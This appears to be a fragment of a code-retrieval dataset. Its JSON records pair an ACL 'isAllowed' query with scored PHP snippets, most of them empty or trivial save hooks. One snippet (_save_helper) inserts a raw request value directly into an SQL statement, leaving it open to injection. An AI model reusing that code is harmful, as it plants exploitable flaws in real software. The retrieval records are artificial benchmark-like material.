"score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "0de9de5e44382b88669b26803ebef444", "score": "0.6980237", "text": "protected function post_save_hook() {\n }", "title": "" }, { "docid": "162f067b97e2580f80b31c9a1241db3a", "score": "0.69707054", "text": "public function save()\n {\n }", "title": "" }, { "docid": "162f067b97e2580f80b31c9a1241db3a", "score": "0.69707054", "text": "public function save()\n {\n }", "title": "" }, { "docid": "162f067b97e2580f80b31c9a1241db3a", "score": "0.69707054", "text": "public function save()\n {\n }", "title": "" }, { "docid": "162f067b97e2580f80b31c9a1241db3a", "score": "0.69707054", "text": "public function save()\n {\n }", "title": "" }, { "docid": "de26f1f2dffb19078ed7e48184c621dd", "score": "0.6955942", "text": "public function save() {\n }", "title": "" }, { "docid": "c4608f3062b6215b7e89140b508e0ca1", "score": "0.6955839", "text": "protected function afterSave() {\r\n }", "title": "" }, { "docid": "d631f236555a49cf00e2aeeb51944c97", "score": "0.6947046", "text": "public function save() {\n\n }", "title": "" }, { "docid": "69815e9790c7a5522b39c804e3fda1e4", "score": "0.69301766", "text": "function save();", "title": "" }, { "docid": "c4e1368444b2ae1598abb4eb15210448", "score": "0.69292223", "text": "public function postSaveCallback()\n {\n }", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.69273764", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.69273764", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.69273764", "text": "abstract public function save();", "title": "" }, { "docid": "5df7a471b8f54a0bf832568614b70351", "score": "0.6889994", "text": "protected function saveAfter()\n {\n }", "title": "" }, { "docid": "1fb0e6946c9fc1e8662cb3f7d74a20d6", "score": "0.68814", "text": "public function save()\n {\n //\n }", "title": "" }, { "docid": "cf2adfb2d8057944f253274fa8a275fc", "score": "0.6830898", "text": "public function preSaveCallback()\n {\n }", "title": "" }, { "docid": "b7de29ed182eefb242bf53e78fcd666e", "score": "0.68169606", "text": "public function before_save() {}", "title": "" }, { "docid": "f85118a3af04bf7a555bc6253f56e045", "score": "0.6793128", "text": "public function save()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "19e22722e17042c1a12747d5806b36d3", "score": "0.6788314", "text": "public function save() {\n \n }", "title": "" }, { "docid": "fad705321c897b4221f65e0a7abdbec9", "score": "0.67335093", "text": "protected function pre_save_hook() {\n }", "title": "" }, { "docid": "6e3709b15e52afec6f7db0ffd82f5725", "score": "0.66904956", "text": "protected function saveBefore()\n {\n }", "title": "" }, { "docid": "81c01c2d359c357f35a9e177eb0f6c5a", "score": "0.6657627", "text": "public function Save ();", "title": "" }, { "docid": "be38721b7cd1d442ce38ee18624a68ef", "score": "0.66291755", "text": "protected function afterSave( $event ) {}", "title": "" }, { "docid": "a6f93ac43c318cf19b384d2e98fab54d", "score": "0.65865946", "text": "function saveAs(callable $callback){\n\t\treturn call_user_func($callback, $this);\n\t}", "title": "" }, { "docid": "cc69778fae8ad9d7f8e3f25988799d17", "score": "0.65830797", "text": "function save($entity)\n {\n }", "title": "" }, { "docid": "849bd4a59571439c95829dc475e3f51e", "score": "0.6544823", "text": "public function onSave(\\isys_register $p_request, \\isys_application $p_application);", "title": "" }, { "docid": "8ab8c51b575c811cb475aa57936f1056", "score": "0.6498647", "text": "protected function onBeforeSave()\n {\n }", "title": "" }, { "docid": "9907de1cf45a667417188c0e706b9a2f", "score": "0.64900696", "text": "public function saveToDatabase(): void\n {\n }", "title": "" }, { "docid": "bf4d76efefbc1a2cc8c439308ee8ff99", "score": "0.6466879", "text": "protected function before_save()\n\t{\n\t}", "title": "" }, { "docid": "9fecd9bd8e338027b75eb26a2bb835bc", "score": "0.6445721", "text": "function onSave( $editor ) { /* We do not need to test for anything */\t}", "title": "" }, { "docid": "3c614db1d2f57eeca1299660266fe76d", "score": "0.6434523", "text": "public function save()\n {\n parent::save();\n }", "title": "" }, { "docid": "c95b03c56eb18ddf4bedee84457d2022", "score": "0.64262384", "text": "public function save()\n {\n // Nothing to do here, because all values are saved immediately\n }", "title": "" }, { "docid": "f07647e8474476e688a81ec5cc748a97", "score": "0.6413481", "text": "private function save_new() \r\n {\r\n }", "title": "" }, { "docid": "ac04ea07505160aeff8abc108535e364", "score": "0.6407149", "text": "public function beforeSave()\n {}", "title": "" }, { "docid": "e130f01e460733b02381afac8cbd8982", "score": "0.6400594", "text": "protected function _postSave()\n {\n // create logic that follows successful save of model into the database\n }", "title": "" }, { "docid": "6aba13bbae855c075ffc5d0f910558bc", "score": "0.6383977", "text": "protected function beforeSave() {\r\n }", "title": "" }, { "docid": "2b40ff84015d8b85638aeb717847a7d6", "score": "0.6317372", "text": "protected function onBeforeSave()\n {\n //\n }", "title": "" }, { "docid": "c856d70b4f1fbd2cd2c4728153b3c7fb", "score": "0.6294061", "text": "public function saving_event(){\n return true;\n }", "title": "" }, { "docid": "90b8484929f111c0b0d52569d869dce1", "score": "0.62923527", "text": "public function save($data)\n {\n }", "title": "" }, { "docid": "90b8484929f111c0b0d52569d869dce1", "score": "0.62923527", "text": "public function save($data)\n {\n }", "title": "" }, { "docid": "5b02dce7363c7fddd3912effba7bb22e", "score": "0.6288304", "text": "public function onSave()\n {\n // Upload file\n $this->uploadFile();\n }", "title": "" }, { "docid": "629b9b99a1a42aa5b63084a8365a29eb", "score": "0.62376046", "text": "function saveField()\n {\n register_rest_field(\n 'user',\n 'saves',\n [\n 'get_callback' => function ($object, $field_name, $request) \n {\n \n\n // ---------- NOTE Code rajouté ---------- \\\\\n // Je récupere toutes les méta\n $all_meta = get_metadata(\"user\", $object['id'], \"saves\");\n\n $array_return = [];\n\n // Puis je les parcours toutes\n foreach ($all_meta as $meta_name => $meta_value) {\n $array_return[$meta_name] = $meta_value;\n }\n return $array_return;\n // ---------- NOTE fin du code rajouté ---------- \\\\\n\n // code original du mec\n // return get_user_meta($object['id'], $field_name, false);\n },\n\n 'update_callback' => function ($meta_value, $object, $field_name, $request) \n {\n $havemetafield = get_user_meta($object->ID, 'saves', false);\n \n if ($havemetafield) {\n $ret = update_user_meta($object->ID, 'saves', $meta_value);\n return true;\n } else {\n $ret = add_user_meta($object->ID, 'saves', $meta_value, false);\n return true;\n }\n },\n 'schema' => null\n ]\n );\n }", "title": "" }, { "docid": "87eacb72ce0412fc6fc06b7462d56f2e", "score": "0.62367094", "text": "public function save() {\n $loc = __CLASS__ . '::' . __FUNCTION__;\n\t\t$calledBy = debug_backtrace()[1]['function'];\n error_log(\"{$loc} ... called by {$calledBy}\");\n\n //TODO: This should spiral down thru all brackets, matches and sets.\n // Needs to be tested and fixed.\n return $this->event->save();\n }", "title": "" }, { "docid": "df0c8253b1f646ba4df127ae7fae4d92", "score": "0.6235101", "text": "abstract public function save(): bool;", "title": "" }, { "docid": "cac20d0e77efea2a531a9f9d10ceef9c", "score": "0.6225091", "text": "public function preSaveEvent($value);", "title": "" }, { "docid": "c6ac9b2845423782c54a97fb028d3e2b", "score": "0.6224371", "text": "public function save() {\n\t\t// data is saved. We want this to happen before be save the meta-data so we can use $this->id;\n\t\tparent::save();\n\t\t$this->saveMetaData();\n\t}", "title": "" }, { "docid": "51f1ca31c4a7958d9c5269cd76ec6e29", "score": "0.6207692", "text": "public function beforeSave()\n {\n\n }", "title": "" }, { "docid": "038f8822d30433d5228617b493afd3fb", "score": "0.61986583", "text": "public function save()\n\t{\n\t\t$writeDataFile = FALSE;\n\t\tif ( array_key_exists( 'enabled', $this->changed ) )\n\t\t{\n\t\t\t$writeDataFile = TRUE;\n\t\t}\n\t\t\n\t\tparent::save();\n\t\t\n\t\tif ( $writeDataFile )\n\t\t{\n\t\t\t\\IPS\\Plugin\\Hook::writeDataFile();\n\n\t\t\t/* Clear javascript map to rebuild automatically */\n\t\t\tunset( \\IPS\\Data\\Store::i()->javascript_file_map, \\IPS\\Data\\Store::i()->javascript_map );\n\t\t}\n\t\t\n\t\tunset( \\IPS\\Data\\Cache::i()->plugins );\n\t}", "title": "" }, { "docid": "bd7bff6edcac89a003c466c5ce8025b6", "score": "0.6193598", "text": "function custom() \n\t{\n\t\tforeach ($this->pepper as $pepper) \n\t\t{\n\t\t\t$pepper->onCustom();\n\t\t}\n\t\t\n\t\t$this->_save();\n\t}", "title": "" }, { "docid": "bd57334d060c2d20ef3ea15e7ffe4b66", "score": "0.61934817", "text": "protected function validateSave () {}", "title": "" }, { "docid": "2fc51529a9304f6446fa389175e48065", "score": "0.61818784", "text": "public function SaveChanges();", "title": "" }, { "docid": "30550f018d5cf4677bd20950b6791477", "score": "0.6165159", "text": "public function addedit_saving(\\Model &$model, &$data) {\n \n }", "title": "" }, { "docid": "842c5e99e6fa342af4970fd685760b23", "score": "0.61431533", "text": "function save()\n {\n $this->_manager->save($this);\n }", "title": "" }, { "docid": "4c478fe50fb32fbad762e7ed320ac75a", "score": "0.6127539", "text": "private function save_edit()\r\n {\r\n }", "title": "" }, { "docid": "7729e2ac8c1b16bbe5612d9febe22582", "score": "0.6103676", "text": "protected function modelSaved($user){ }", "title": "" }, { "docid": "8768d587bcae17bcf558cbfa0a86010f", "score": "0.6101521", "text": "public function save($dbHandler)\r\n {\r\n\r\n }", "title": "" }, { "docid": "0aa55a5ddd46f59006d7026d3f1a0849", "score": "0.609641", "text": "function save()\n\t{\n\t\tif($this->_modified)\n\t\t\t$this->_update();\n\t}", "title": "" }, { "docid": "56096f94affdf9b55c630893ee8207f4", "score": "0.60937285", "text": "function autosave() { $this->Publishable->autosave(); }", "title": "" }, { "docid": "56096f94affdf9b55c630893ee8207f4", "score": "0.60937285", "text": "function autosave() { $this->Publishable->autosave(); }", "title": "" }, { "docid": "ce7e088866a9c5ce19a86e80bddde2c4", "score": "0.60934734", "text": "public function save()\n {\n // receive fields for insert into\n $fields = static::attributes();\n $table = static::getTableName();\n\n $values = [];\n foreach ($fields as $attribute) {\n $values[] = $this->$attribute;\n }\n\n // insert new data to database\n $this->storage->insert($table, $fields, $values);\n }", "title": "" }, { "docid": "8e31608f1a035a0cd22223b4b96c9ec1", "score": "0.60896176", "text": "public function save()\n\t{\n\t\t$this->saveObject();\n\t}", "title": "" }, { "docid": "fd63852f80df6b83667ed95b467b39c5", "score": "0.6067999", "text": "function save_object()\n {\n plugin::save_object();\n }", "title": "" }, { "docid": "05147988d2b2b145569c3357c03349de", "score": "0.6060236", "text": "public function onSaving(): void\n {\n // @todo Ver como consertar esse erro;\n // // If the password is changing, hash it\n // if ($this->isDirty('password')) {\n // dd(\n // $this->password, bcrypt($this->password));\n // $this->password = bcrypt($this->password);\n // }\n\n // Save or clear permission choices if the form had a \"custom permissions\"\n // pushed checkbox\n if (Request::exists('_custom_permissions')) {\n $this->permissions = request('_custom_permissions') ?\n json_encode(request('_permission')) : null;\n }\n }", "title": "" }, { "docid": "0bc66c93a6d48e9801e24ab1331f43dc", "score": "0.6047448", "text": "protected function save($varValue = '') { }", "title": "" }, { "docid": "9312b866e181f6b9e5266a75f7725510", "score": "0.6046283", "text": "public function saveAll(): void;", "title": "" }, { "docid": "278236d078a35721c5f064270a9e0603", "score": "0.6044786", "text": "public static function saving($callback, $priority = 0);", "title": "" }, { "docid": "09cf085f0e3ce680449c99b77ebb6a1e", "score": "0.60383993", "text": "public function _save_helper(){\r\n\t\t$this->set_response('view');\r\n\t\t$db = db::raw_connect();\r\n\t\tGenerator::scaffold(&$this->form, $this->scaffold);\r\n\r\n\t\t$field = $this->form['components'][$this->request('name')];\r\n\t\tActiveRecord::sql_item_sanizite($field['foreignTable']);\r\n\t\tActiveRecord::sql_item_sanizite($field['detailField']);\r\n\t\t$db->query(\"insert into {$field['foreignTable']} ({$field['detailField']})\r\n\t\tvalues ('{$this->request('valor')}')\");\r\n\t}", "title": "" }, { "docid": "6bae71b1b55cece7bf6fef2b05e2a999", "score": "0.6036577", "text": "public function save($entity);", "title": "" }, { "docid": "6bae71b1b55cece7bf6fef2b05e2a999", "score": "0.6036577", "text": "public function save($entity);", "title": "" }, { "docid": "afa905f35ab7de20cb73e4e0c033ee2b", "score": "0.60351527", "text": "public function onSaving()\n {\n $entry = $this->getFormEntry();\n\n $entry->setAttribute('subject_id', $this->getSubjectId());\n $entry->setAttribute('subject_type', $this->getSubjectType());\n }", "title": "" } ]
ce8a6fde85454610697767d53bfbe19b
Wrapper for Zend_Acl's isAllowed method. Eg: $bAllowed = Kwgl_Acl::allowed('guest', 'kwgldev');
[ { "docid": "b7db5f5bd6783647ecf03ea98effc334", "score": "0.0", "text": "public static function allowed ($sRole = null, $sResource = null, $sPrivilege = null) {\r\n\t\treturn self::getInstance()->isAllowed($sRole, $sResource, $sPrivilege);\r\n\t}", "title": "" } ]
[ { "docid": "e183354d834928f2df6a4c96ec69819f", "score": "0.70010084", "text": "protected function _isAllowed()\n {\n \treturn true;\n }", "title": "" }, { "docid": "fc35dba6d752bba4c9ae7fb198bbfb7f", "score": "0.69653493", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Rapidmage_Firewall::manage_rules');\n }", "title": "" }, { "docid": "bc6db4e626d9c7173f5596ce2d4c4232", "score": "0.6885776", "text": "public function testAllow()\n {\n $this->assertFalse($this->Acl->check('jeff', 'foo/bar'));\n\n $this->Acl->allow('jeff', 'foo/bar');\n\n $this->assertTrue($this->Acl->check('jeff', 'foo/bar'));\n $this->assertFalse($this->Acl->check('peter', 'foo/bar'));\n $this->assertFalse($this->Acl->check('hardy', 'foo/bar'));\n\n $this->Acl->allow('Role/accounting', 'foo/bar');\n\n $this->assertTrue($this->Acl->check('peter', 'foo/bar'));\n $this->assertTrue($this->Acl->check('hardy', 'foo/bar'));\n\n $this->assertFalse($this->Acl->check('Role/reports', 'foo/bar'));\n }", "title": "" }, { "docid": "b069eef94c0d1f6515b3def3c715781e", "score": "0.6872256", "text": "protected function _isAllowed()\n {\n return $this->_getAclHelper()->isActionAllowed($this->_aclSection);\n }", "title": "" }, { "docid": "9613f07f53f822cc32c3f4e43c552a65", "score": "0.6792588", "text": "public function isAllowed()\n {\n $result = new \\Magento\\FrameWork\\DataObject(['is_allowed' => true]);\n $this->_eventManager->dispatch(\n 'ves_vendor_menu_check_acl',\n [\n 'resource' => $this->_resource,\n 'result' => $result\n ]\n );\n $permission = new \\Vnecoms\\Vendors\\Model\\AclResult();\n $this->_eventManager->dispatch(\n 'ves_vendor_check_acl',\n [\n 'resource' => $this->_resource,\n 'permission' => $permission\n ]\n );\n return $result->getIsAllowed() && $permission->isAllowed();\n }", "title": "" }, { "docid": "44218be3cf4f786bc1396ac663abad31", "score": "0.6787928", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Acx_BrandSlider::brandslider_brands');\n }", "title": "" }, { "docid": "8b903996532486eaf0d3c4774737845e", "score": "0.67762226", "text": "public function canSetControllableAcl();", "title": "" }, { "docid": "da792cb3caef76f385908d9541c12c18", "score": "0.6739649", "text": "private function _isAllowed()\r\n {\r\n $req = $this->app->request();\r\n $resource = strtoupper($req->getMethod()) . $req->getResourceUri() ;\r\n return in_array($resource, $this->config['allowed_resources']);\r\n }", "title": "" }, { "docid": "1799e7497d8de0750d7c6e47073b3a3b", "score": "0.6680293", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed(static::ADMIN_RESOURCE);\n }", "title": "" }, { "docid": "1799e7497d8de0750d7c6e47073b3a3b", "score": "0.6680293", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed(static::ADMIN_RESOURCE);\n }", "title": "" }, { "docid": "1799e7497d8de0750d7c6e47073b3a3b", "score": "0.6680293", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed(static::ADMIN_RESOURCE);\n }", "title": "" }, { "docid": "a2d094e316970104dff73a48442b2f5d", "score": "0.66536313", "text": "abstract protected function canAccess();", "title": "" }, { "docid": "387b0307414b2228ed97dd120c70b59b", "score": "0.665065", "text": "public function isAllowed(): bool\n {\n foreach ($this->rights as $rights) {\n [$module, $action] = explode('/', $rights);\n\n // check action rights\n if ($module !== '' && $action !== '' && !BackendAuthentication::isAllowedAction($action, $module)) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "1e61d19de3c26dccc57546c4b87faf0c", "score": "0.6637411", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Firebear_CloudFlare::firebear_cloudflare_control');\n }", "title": "" }, { "docid": "95dd29e6e6a19b0bb90cbb5a24e68b9b", "score": "0.6574675", "text": "private function isAllowed() {\n $allowed = array(\n \"rss\" => array(\"feed\"),\n \"torrent\" => array(\"download\"),\n \"user\" => array(\"login\", \"register\", \"confirm\", \"recover\", \"invite\")\n );\n if (!isset($allowed[$this->data['url']['application']]))\n return false;\n if (in_array($this->data['url']['action'], $allowed[$this->data['url']['application']]))\n return true;\n else\n return false;\n }", "title": "" }, { "docid": "24d2ed826c613b8abaaa9fe8fdb6ba5b", "score": "0.655574", "text": "protected function _isAllowed()\n {\n $aclResource = 'admin/system/salesblock';\n\n return $this->getAdminSession()->isAllowed($aclResource);\n }", "title": "" }, { "docid": "61225bed7670def58de685bed6ae0b67", "score": "0.65070635", "text": "function isAllowedPermission()\n {\n $retObj = array();\n try {\n\n if (isset($_REQUEST['user_id']) && isset($_REQUEST['is_backend']) && isset($_REQUEST['method']))\n {\n $retObj['allowed'] = false;\n\n $params = array(\n 'user_id' => $_REQUEST['user_id'],\n 'is_backend' => $_REQUEST['is_backend'],\n 'method' => $_REQUEST['method']\n );\n\n $aclObj = new AclManager();\n $permissions = $aclObj->getUserPermissions($params);\n\n //c. check if method valid\n foreach($permissions as $permission)\n {\n if($permission['title'] == $params['method']) {\n $retObj['allowed'] = true;\n }\n }\n\n } else {\n\n throw new \\Exception('Unsupported Request: missing critical parameter(s).');\n\n }\n\n } catch (\\Exception $e) {\n\n Api::invalidResponse(\n $e->getMessage(),\n 400,\n Constants::STATUS_INVALID,\n $e,\n true,\n true\n );\n\n }\n\n return Api::apiResponse($retObj, Constants::STATUS_SUCCESSFUL);\n }", "title": "" }, { "docid": "b4d06d38d5e6a36df241e691e9d90082", "score": "0.6482186", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Dilmah_TeaFaq::dilmah_tfaq');\n }", "title": "" }, { "docid": "8e3fc8f27a455f7eb433ec8d436cb5cc", "score": "0.6452869", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Codilar_Image360::image360_settings_edit');\n }", "title": "" }, { "docid": "47266ae5fb0456d8329095431cb20353", "score": "0.6443323", "text": "public function isAccessAllowed()\n\t{\n\t\t$returnValue \t=\tFALSE;\n\n\t\tif($this->isUserIPAddressAllowedAccess())\n\t\t{\n\t\t\t$returnValue\t=\tTRUE;\n\t\t}\n\n\t\treturn $returnValue;\n\t}", "title": "" }, { "docid": "eb8b235ab3646bc3d7dad7fc2f73a7ca", "score": "0.64355725", "text": "public static function allows ()\r\n {\r\n $acl = Session::get('acl');\r\n return $acl['allows'];\r\n }", "title": "" }, { "docid": "cf6df9cbb8e25ba0a1c361e03def46e5", "score": "0.6433275", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Formax_FormCrud::formcrud_create') ||\n $this->_authorization->isAllowed('Formax_FormCrud::formcrud_update');\n }", "title": "" }, { "docid": "ca78335f5767ace5ccba779e1a4edaa6", "score": "0.64116555", "text": "public function testIsAllowed()\n {\n $class = new \\ReflectionClass(get_class($this->mvcKeeper));\n $method = $class->getMethod('isAllowed');\n $method->setAccessible(true);\n\n $authorizeByPermission = new Authorize([\n 'value' => [\n 'permissions' => [\n 'render-default-page'\n ]\n ]\n ]);\n\n $authorizeByRole = new Authorize([\n 'value' => [\n 'roles' => [\n 'Download'\n ]\n ]\n ]);\n\n $this->assertTrue($method->invoke($this->mvcKeeper, $authorizeByPermission));\n $this->assertTrue($method->invoke($this->mvcKeeper, $authorizeByRole));\n }", "title": "" }, { "docid": "692f596987cfce87632aa47f02e5c138", "score": "0.640869", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('MagePal_GuestToCustomer::guesttocustomer');\n }", "title": "" }, { "docid": "692f596987cfce87632aa47f02e5c138", "score": "0.640869", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('MagePal_GuestToCustomer::guesttocustomer');\n }", "title": "" }, { "docid": "08a3f6e5587f154ae3e8e4b973583b9d", "score": "0.63796073", "text": "public function isAclEnabled(): bool;", "title": "" }, { "docid": "a2fcc3d3767d358155c224d4240ffc53", "score": "0.6373838", "text": "protected function _isAllowed () {\n\t\t\treturn $this->_authorization\n\t\t\t\t->isAllowed (\"JetRails_Cloudflare::configuration\");\n\t\t}", "title": "" }, { "docid": "044fb5bff52d0505a993c9576fedd08c", "score": "0.6372458", "text": "function isAllowed($user, $resource = IAuthorizator::ALL, $privilege = IAuthorizator::ALL, $id);", "title": "" }, { "docid": "4d6e10d78fa6f1a22aba192d68fc857f", "score": "0.6369907", "text": "public function isAllowed($arrParam = null){\n\t\t$ns = new Zend_Session_Namespace('info');\n\t\t$nsInfo = $ns->getIterator();\n\t\t$privilege = $arrParam['module'] . '_' . $arrParam['controller'] . '_' . $arrParam['action']; \n\t\t$flagAccess = false;\n\t\t\n\t\tif($this->_acl->isAllowed($this->_role, null, $privilege)){\n\t\t\t$flagAccess = true;\n\t\t}\n\t\t\n\t\treturn $flagAccess;\n\t\t\n\t}", "title": "" }, { "docid": "0e46453080e7fc16712b36ecdc32c711", "score": "0.6360145", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Ceneo_Feeds::module');\n }", "title": "" }, { "docid": "8703224770da24b234f36f8176f11a3a", "score": "0.6354873", "text": "public function isAllow()\n {\n return $this->allow;\n }", "title": "" }, { "docid": "90b784bc69030deeabb286fdee858dad", "score": "0.6309667", "text": "public function getAllowed() {\n return $this->_allowed;\n }", "title": "" }, { "docid": "d163c7b3f3edcde9ab8209c1b9f58181", "score": "0.63005614", "text": "protected function isAllowed() {\n\t\treturn $this->allowedActions == array('*') ||\n\t\t\t\tin_array($this->_request->params['action'], array_map('strtolower', $this->allowedActions));\n\t}", "title": "" }, { "docid": "b53255f15c64243d7bc239023844e556", "score": "0.6273692", "text": "protected function _isAllowed()\n {\n switch ($this->getRequest()->getActionName()) {\n case 'new':\n case 'save':\n return Mage::getSingleton('gri_cms/config')->canCurrentUserSaveVersion();\n break;\n case 'delete':\n return Mage::getSingleton('gri_cms/config')->canCurrentUserDeleteVersion();\n break;\n case 'massDeleteRevisions':\n return Mage::getSingleton('gri_cms/config')->canCurrentUserDeleteRevision();\n break;\n default:\n return Mage::getSingleton('admin/session')->isAllowed('cms/page');\n break;\n }\n }", "title": "" }, { "docid": "1505212835e69dc3c6f6ed6ef99c5477", "score": "0.62707335", "text": "public function check_access() {\n\n\t\tif (isset($this->current_entity_allowed)) {\n\t\t\treturn apply_filters('minerva_restrict_access_allowed', $this->current_entity_allowed);\n\t\t}\n\n\t\t$this->current_entity_allowed = MKB_Options::option('restrict_on') ?\n\t\t\t(bool) $this->check_entity_access($this->get_current_entity()) :\n\t\t\ttrue; // always allowed if restriction is off\n\n\t\treturn apply_filters('minerva_restrict_access_allowed', $this->current_entity_allowed);\n\t}", "title": "" }, { "docid": "14a29fcc4894d9694109385a0f9c05c2", "score": "0.62674135", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('AVATOR_ContactUs::contact');\n }", "title": "" }, { "docid": "390d6f36984a50eee27bc6065e5bd93f", "score": "0.62414145", "text": "static function allowed()\n {\n\n }", "title": "" }, { "docid": "4b217b5b6798293690db8035536b1f4e", "score": "0.62360495", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_misc/aircraft');\n }", "title": "" }, { "docid": "88145f1b66582f8d955222c36d7d1dbb", "score": "0.6235496", "text": "public function IsAllowed ($permissionNameOrNames, $allPermissionsRequired = TRUE);", "title": "" }, { "docid": "c41fe59fb86330b68d154587df000dc3", "score": "0.6217537", "text": "public static function isAllowed() {\r\n\t\treturn TodoyuAuth::isAdmin();\r\n\t}", "title": "" }, { "docid": "b9531a5fa7886a417fda5f78f780dcc7", "score": "0.6217412", "text": "function is_allowed($resource, $privilege)\n{\n $acl = get_acl();\n\n if (!$acl) {\n return true;\n }\n\n $user = current_user();\n\n if (is_string($resource)) {\n $resource = ucwords($resource);\n }\n\n // User implements Zend_Acl_Role_Interface, so it can be checked directly by the ACL.\n return $acl->isAllowed($user, $resource, $privilege);\n}", "title": "" }, { "docid": "6b27cf5daf43117ecc3649c88452bffb", "score": "0.6209454", "text": "protected function _isAllowed()\n\t{\n\t\treturn (Mage::getSingleton('admin/session')->isAllowed('dropship360/suppliers') || Mage::getSingleton('admin/session')->isAllowed('dropship360/vendor_ranking'));\n\t}", "title": "" }, { "docid": "ab815163112de7babc8a5cf3a66e0060", "score": "0.6171624", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webkul_Marketplace::product');\n }", "title": "" }, { "docid": "86179c4d4b45c49b7e157cd2647c02a6", "score": "0.61578035", "text": "public function authorize()\n {\n switch (true) {\n case $this->wantsToList():\n case $this->wantsToShow():\n if ($this->hasRoles(['owner', 'administrator'])) {\n return true;\n }\n break;\n case $this->wantsToStore():\n case $this->wantsToUpdate():\n case $this->wantsToDestroy():\n if ($this->hasRoles(['owner'])) {\n return true;\n }\n break;\n }\n\n return false;\n }", "title": "" }, { "docid": "73741efb3282fb8e31b948986bed15ea", "score": "0.61572456", "text": "public function canBeEnabled();", "title": "" }, { "docid": "c304b64a2856131c6b815ba41780432b", "score": "0.61519927", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Amasty_XmlSitemap::sitemap');\n }", "title": "" }, { "docid": "371a7289e4842fe75a36c33ae099eab0", "score": "0.61507714", "text": "public function authorize()\n {\n return $this->user()->can('list', Card::class);\n }", "title": "" }, { "docid": "7d08b6b769f40cc333dcf33760667ad9", "score": "0.6148557", "text": "protected function _isAllowed()\n {\n if ($this->_shipment) {\n return $this->_authorization->isAllowed('Temando_Temando::temando_shipments_view');\n } else {\n return $this->_authorization->isAllowed('Temando_Temando::temando_pickups_view');\n }\n }", "title": "" }, { "docid": "f63af2365dd445747cce180dbc8aff7a", "score": "0.6148433", "text": "public function allows(): bool\n {\n try {\n $this->ensure();\n return true;\n } catch (ForbiddenException $e) {\n return false;\n }\n }", "title": "" }, { "docid": "472446b636beaa5bb7dc2afa99793b38", "score": "0.6142779", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('sales/mfb_myflyingbox/offer');\n }", "title": "" }, { "docid": "3ff472b59639a222c7246c3ccb3e2c8b", "score": "0.61141837", "text": "public function authorize()\n {\n // all who has permission\n return true;\n }", "title": "" }, { "docid": "35bed753229bc48ef0c56ed02b5469b8", "score": "0.6104682", "text": "function acl( $check )\n{\n global $current_user_acl;\n \n $acl = $current_user_acl;\n if ($acl[ 'p' ][ 'ForbiddenAccess' ])\n {\n return false;\n }\n if ($acl[ 'p' ][ 'System' ])\n {\n return true;\n }\n \n $result = false;\n $match = substr($check, 0, 2);\n switch ($match)\n {\n case 'u:':\n case 'g:':\n case 'p:':\n $type = substr($check, 0, 1);\n $target = substr($check, 2);\n $result = check($acl[ $type ], $target);\n break;\n default:\n $args = array_slice(func_get_args(), 1);\n if (is_callable(array( 'Granted', $check )))\n {\n $result = call_user_func_array(array( 'Granted', $check ), $args);\n }\n }\n return $result;\n}", "title": "" }, { "docid": "054929c49f88a20426713c237fc47016", "score": "0.6096627", "text": "function allow($operation,$params=array(),$allowCaching=true)\n{\n\treturn Yii::app()->user->checkAccess($operation,$params,$allowCaching);\n}", "title": "" }, { "docid": "9b1e5efd6bc4c6616fb1e7272cf3e988", "score": "0.60736215", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Pronko_TaskManagement::TaskManagement_save');\n }", "title": "" }, { "docid": "0d46af42fb3e4ad5f238072834807953", "score": "0.60638255", "text": "public function isAllowed(IPresenter $presenter): bool\n {\n // use user acl\n if (isset($this->permissionResource) && isset($this->permissionPrivilege)) {\n /* @noinspection PhpUndefinedMethodInspection */\n return $presenter->getUser()->isAllowed($this->permissionResource, $this->permissionPrivilege);\n }\n return true;\n }", "title": "" }, { "docid": "eae305ee734516adf0a726917ad0e9b4", "score": "0.60607153", "text": "public function isAuthorizeTo($ability);", "title": "" }, { "docid": "304504f4fd6b35ec7bbd0b4924f1e0b6", "score": "0.6053748", "text": "public function authorize()\n {\n abort_if(Gate::denies('permission_edit'), Response::HTTP_FORBIDDEN, '403 Forbidden');\n\n return true;\n }", "title": "" }, { "docid": "99cc6fb6c25333b0092ba1c174119c6f", "score": "0.60437715", "text": "protected function user_authorized()\n\t{\n\t\t// If the user has the super role, then allow access\n\t\t$super_role = Kohana::config('acl.super_role');\n\t\tif ($super_role AND in_array($super_role, $this->user->roles_list()))\n\t\t\treturn TRUE;\n\t\t// If the user is in the user list, then allow access\n\t\tif (in_array($this->user->id, $this->rule['users']))\n\t\t\treturn TRUE;\n\t\t\t\n\t\t// If the user has all (AND) the capabilities, then allow access\n\t\t$difference = array_diff($this->rule['capabilities'], 